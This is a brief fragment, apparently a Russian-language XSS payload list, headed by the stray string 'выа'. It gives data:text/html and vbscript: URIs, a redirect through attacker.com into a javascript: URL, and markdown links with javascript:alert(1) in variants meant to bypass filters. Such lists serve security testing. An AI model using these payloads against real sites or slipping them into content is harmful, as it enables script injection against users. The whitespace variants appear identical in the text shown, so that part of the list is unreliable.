выа

data:text/html,<script>alert(1)</script> vbscript:msgbox(1) (если вы используете старый IE) http://attacker.com/redirect?url=javascript:alert(1) (если есть цепочка редиректов) [test](javascript:alert(1)) (без пробелов) [test](javascript:alert(1)) (с пробелом после javascript:) [test](javascript:alert(1)) (с табуляцией)